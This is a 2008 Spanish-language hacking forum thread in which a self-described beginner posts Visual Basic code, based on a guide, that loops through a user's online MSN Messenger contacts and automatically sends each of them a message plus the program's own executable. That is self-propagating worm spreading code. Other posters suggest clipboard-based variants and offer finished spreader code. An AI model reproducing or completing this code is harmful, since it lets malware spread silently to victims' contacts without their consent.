 Autor
|
Tema: Duda con enviar archivos por MSN (Leído 3,349 veces)
|
hAcKeR92
 Desconectado
Mensajes: 72
|
Hola de nuevo!!! A ver, tengo una duda que se me planteo siguiendo la guia del hendrix. Estuve intentando que mi archivo se propagase por MSN, pero no lo consigo. Hago la prueba con dos ordenadores de mi casa con dos cuentas de MSN diferentes, consigo enviar el mensaje, pero en vez de enviar el archivo, se queda en la pantalla donde seleccionar el archivo... El codigo: Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub seria buenisimo si me consiguen ayudar, ya que estoy muy interesado en VB.. Un saludo PD: creo que el fallo esta donde enviarfile noseque, l ' Archivo a enviar pero no se....
|
|
|
|
« Última modificación: 9 Marzo 2008, 23:46 pm por hAcKeR92 »
|
En línea
|
|
|
|
|
naderST
|
dame algo mas de codigo o el link de donde te estas guiando porfavor asi te puedo ayudar.
|
|
|
|
|
En línea
|
|
|
|
hAcKeR92
Desconectado
Mensajes: 72
|
Este es el codigo entero: Private Sub Form_Load()
On Error GoTo NotCompatible
Set w = CreateObject("Messenger.UIAutomation")
For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto
If ConTacto.Status = 2 Then 'Si el contacto esta OnLine...
Set iMsn = w.InstantMessage(ConTacto.SigninName) 'abrimos la ventana de chat
Call SpamMsn(iMsn.hwnd) 'Esta funcion es la que hace el trabajo
End If
Next
Exit Sub
NotCompatible:
MsgBox "No tienes MSN instalado en el sistema", vbCritical, "Error"
End Sub
Private Sub SpamMsn(ByVal mHwnd)
On Error Resume Next
Dim l As Long, spam As String
l = FindWindowEx(mHwnd, 0, "DirectUIHWND", vbNullString) 'Buscamos esa clase dentro de la ventana
If l = 0 Then Exit Sub 'Si no es asi, nos vamos al carajo
Call SendText(l, "TEXTO DE PRUEBA") 'Mensaje a enviar
EnviarFile App.Path & "\" & App.EXEName & ".exe", l 'Archivo a enviar
End Sub
Public Sub SendText(pIMWindow As Long, sText As String)
Dim hDirectUI As Long, hPrevWnd As Long
Dim i As Integer
hDirectUI = pIMWindow
Do
Call SetForegroundWindow(hDirectUI)
Loop Until GetForegroundWindow = hDirectUI
For i = 1 To Len(sText)
Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText, i, 1)), 0&)
Next i
Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&)
End Sub
Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean
Dim X As Long
Dim Edit As Long
Dim ParentHWnd As Long
Dim fWindowText As Object
Dim hWndText As String
Dim t As Single
Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0)
DoEvents
X = GetWindow(GetDesktopWindow(), GW_CHILD)
hWndText = fWindowText(X)
t = Timer
Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0))
X = GetWindow(X, GW_HWNDNEXT)
hWndText = fWindowText(X)
If Format(Timer - t, "0.00") > 5 Then GoTo FIN
Loop
Edit = FindWindowEx(X, 0, "Edit", vbNullString)
If Edit = 0 Then
Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString)
Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString)
End If
If Edit = 0 Then Exit Function
Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath)
Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&)
Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&)
EnviarFile = True
FIN:
End Function |
|
|
|
|
En línea
|
|
|
|
krackwar
Desconectado
Mensajes: 900
|
no lei el code pero una manera de emviar archivos por msn(facil) es que copie el archivo en el portapapeles i lo pege en todas las ventanas que digan comversacion
|
|
|
|
|
En línea
|
Mi blogBienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran. El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios. 
|
|
|
hAcKeR92
Desconectado
Mensajes: 72
|
vale, y como se hace eso???
|
|
|
|
|
En línea
|
|
|
|
3k1n0x
Desconectado
Mensajes: 324
|
men, si kieres con una condicion yo te paso el codigo listico, yo lo hice hace tiempo, q se meta en un zip y luego al portapapeles y blablabla, el problema viene a la hora de que es lo que quieres q se propague, si tienes algo muy bueno para propagar me dices y si es en c++ mejor salu2s
|
|
|
|
|
En línea
|
T3fL0n -> 3k1n0x
|
|
|
|
naderST
|
te recomeindo que lo hagas con el api del MSN y copiandolo al clipboard es mejor
|
|
|
|
|
En línea
|
|
|
|
hAcKeR92
Desconectado
Mensajes: 72
|
vale, pero me podeis decir como se copia al portapapeles en VB???
soy principiante y no entiendo mucho...
|
|
|
|
|
En línea
|
|
|
|
mojolloyo20
Desconectado
Mensajes: 208
en esta vida nunca te acostaras sin saber nada nue
|
bueno seria una cosa asin
Dim app(0) As String
app(0) = "C:\archivo a enviar.zip"
If ClipboardCopyFiles(app) = True Then ' se copia en el portapapeles el archivo archivo a enviar.zip
yo aria que el front ,se pusiera las 10 ultimas letras del titulo de la ventana, la cual esta activa,que seria la del msn conversacion,haciendole un foco o algo asin
y despues si el nombre del front1 es = a las 10 ultimas letras,pos ya seguiriamos con el codigo anterior.
guardando el archivo en el clipboar ese y enviandole el archivo y las SendKeys
espero que me entiendas y averte ayudado en algo.
yo hace timer intente con ese codigo de hendrix y no saque nada.
te ba bien lo de ir de contacto en contacto?si estan online?
me parecio leeer por hay algo de que lo kitaron,pero no lo creo
pero si alguien puede dar+info
posdata:tampoco me agas mucho caso que yo de vb muy poco.
salu2
|
|
|
|
|
En línea
|
Lo reconozco
fumo porros a diario
me fumo uno y es como poner la radio
pero por dentro de mi amarga cabeza
siempre tan sola y tan llena de tristeza
Me salen la s canciones que a mí más me molan
las musiquillas que ha mí más me motivan
las amarguras se vuelven amapolas
y las tristezas me alegran la vida
Anda dame que fume
porque me siento sólo
dame de fumar
porque no quiero estar triste
|
|
|
|
|
|
 |
